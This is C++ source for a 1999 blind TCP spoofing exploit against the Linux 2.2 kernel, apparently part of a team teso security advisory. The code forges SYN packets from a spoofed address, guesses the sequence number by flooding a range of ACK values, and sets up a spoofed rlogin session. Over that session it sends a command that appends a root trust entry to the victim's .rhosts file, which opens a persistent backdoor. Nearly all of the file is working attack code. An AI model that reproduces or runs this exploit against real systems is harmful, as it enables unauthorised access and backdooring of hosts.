1
/*** Exploit for the 2.2 linux-kernel TCP/IP weakness.
2
*** (C) 1999 by S. Krahmer.
3
*** THERE IS ABSOLUTELY NO WARRANTY. YOU USE IT AT YOUR OWN RSIK!
4
*** THIS PROGRAM IS LICESED UNDER THE GPL and belongs to a security-
5
*** advisory of team teso. You should get the full advisory with paper
7
*** http://www.cs.uni-potsdam.de/homepages/students/linuxer or
8
*** http://teso.scene.at
10
*** !!! This program needs libusi++ 1.6 (!) or higher, the other one
11
*** !!! is for libusi++ up (and including) to 1.5.
13
*** The bugdiscovery and the exploit is due to:
15
*** Stealth http://www.kalug.lug.net/stealth
16
*** S. Krahmer http://www.cs.uni-potsdam.de/homepages/students/linxuer
18
*** c++ blindSpoof.cc -lusi++ -lpcap (this is LINUX source!)
19
*** Libusi++ is available on my homepage.
20
*** Achtung: Gehen Sie nicht in den 100 Meilen tiefen Wald! ;-)
28
#include <usi++/usi++.h>
32
// may be changed, my best results were around 2000,
33
// but also diffs of > 5000 can happen :)
34
// change it it really not works
37
// define this if you want to exploit rlogind
38
// if not, you will just spoof a connection to XPORT
39
#define EXPLOIT_RLOGIND
41
// uses eth0 for packet-capturing!
42
TCP *pingVictum(char *, char *, char *);
44
bool wrongPacket(TCP *, TCP *);
46
int main(int argc, char **argv)
48
// yes, script-kidz! this is hardcoded to prevent you from usage.
49
const char *remoteUser = "stealth",
50
*localUser = "stealth",
51
*command = "echo liane root>>~/.rhosts\n";
55
printf("Usage %s [destination-IP] [source-IP] [spoofed-IP]\n", argv[0]);
58
cout<<"blindSpoof-exploit by S. Krahmer\n"
59
"http://www.cs.uni-potsdam.de/homepages/students/linuxer\n\n";
61
TCP *conn = pingVictum(argv[1], argv[2], argv[3]);
63
#ifdef EXPLOIT_RLOGIND
66
conn->sendpack(sbuf, 1);
69
cout<<"Sending local username: "<<localUser<<endl;
71
// send local username
72
conn->set_seq(conn->get_seq() + 1);
73
memset(sbuf, 0, 1000);
74
snprintf(sbuf, sizeof(sbuf), "%s\0", localUser);
75
conn->sendpack(sbuf, strlen(sbuf) + 1);
77
// we don't know about the lag, so i hope that 7 in sec.
78
// the victum has sent an ACK
81
cout<<"Sending remote username: "<<remoteUser<<endl;
83
// send remote username
84
conn->set_seq(conn->get_seq() + strlen(sbuf) + 1);
85
memset(sbuf, 0, sizeof(sbuf));
86
snprintf(sbuf, sizeof(sbuf), "%s\0", remoteUser);
87
conn->sendpack(sbuf, strlen(sbuf) + 1);
90
cout<<"Sending terminal-type and speed.\n";
91
conn->set_seq(conn->get_seq() + strlen(sbuf) + 1);
92
memset(sbuf, 0, sizeof(sbuf));
93
snprintf(sbuf, sizeof(sbuf), "%s\0", "linux/38400");
94
conn->sendpack(sbuf, strlen(sbuf) + 1);
98
cout<<"Sending command: "<<command<<endl;
99
conn->set_seq(conn->get_seq() + strlen(sbuf) + 1);
100
memset(sbuf, 0, sizeof(sbuf));
101
snprintf(sbuf, sizeof(sbuf), "%s\0", command);
102
conn->sendpack(sbuf, strlen(sbuf) + 1);
104
cout<<"Connection to port "<<XPORT<<" should be established.\n";
110
/* Spoof a connection. */
111
TCP *pingVictum(char *host, char *src, char *spoofed)
113
char buf[100], sr[1000], dst[1000];
114
TCP *victumLow = new TCP(host),
115
*victumSpoofed = new TCP(host),
117
int myISN = rand(), sport = 512 + rand()%512;
119
sn->init_device("eth0", 1, 500);
121
victumLow->set_flags(TH_SYN);
122
victumLow->set_dstport(XPORT); // rlogin
123
victumLow->set_srcport(sport); // from a privileged port
124
victumLow->set_src(src);
125
victumLow->set_seq(myISN);
127
victumSpoofed->set_flags(TH_SYN);
128
victumSpoofed->set_dstport(XPORT);
129
victumSpoofed->set_srcport(sport);
130
victumSpoofed->set_src(spoofed);
131
victumSpoofed->set_seq(myISN); // we must save the ISN
133
// send SYN to get low end of ISN
134
victumLow->sendpack("");
137
victumSpoofed->sendpack("");
139
cout<<"Using sourceport "<<victumSpoofed->get_srcport()<<endl;
141
// wait for SYN/ACK of low packet
142
while (wrongPacket(sn, victumLow)) {
143
sn->sniffpack(buf, 100);
144
printf("%s:%d -> %s:%d ", sn->get_src(1, sr, 1000), sn->get_srcport(),
145
sn->get_dst(1, dst, 1000), sn->get_dstport());
148
int lowISN = sn->get_seq();
151
// NOTE! Even if we sent the SYN before the spoofed SYN, the
152
// spoofed SYN can arrive first, due to routing reasons.
153
// Althought this is NOT very likely, we have to keep it in mind.
154
cout<<"Low end: "<<(unsigned)lowISN<<"\n";
155
victumSpoofed->set_flags(TH_ACK);
156
victumSpoofed->set_seq(myISN + 1);
159
for (int i = lowISN; i < lowISN + MAXPACK; i++) {
160
victumSpoofed->set_ack(i);
161
victumSpoofed->sendpack("");
162
printf("%u\r", i); fflush(stdout);
163
// maybe you have to place a usleep() here, depends on
171
// from now, the connection should be established!
172
return victumSpoofed;
176
// give out some infos about the received packet
177
int printInfo(TCP* r)
180
if (r->get_flags() & TH_FIN)
182
if (r->get_flags() & TH_SYN)
184
if (r->get_flags() & TH_RST)
186
if (r->get_flags() & TH_PUSH)
188
if (r->get_flags() & TH_ACK)
190
if (r->get_flags() & TH_URG)
192
cout<<"] [ACK: "<<r->get_ack()<<"] [SEQ: "<<r->get_seq()<<"]"<<endl;
196
/* returns true is packet is WRONG
198
bool wrongPacket(TCP *p1, TCP *p2)
200
if (p1->get_src() != p2->get_dst())
202
if (p1->get_dst() != p2->get_src())
204
if (p1->get_dstport() != p2->get_srcport())
206
if (p1->get_srcport() != p2->get_dstport())
208
if (p1->get_ack() != (p2->get_seq() + 1))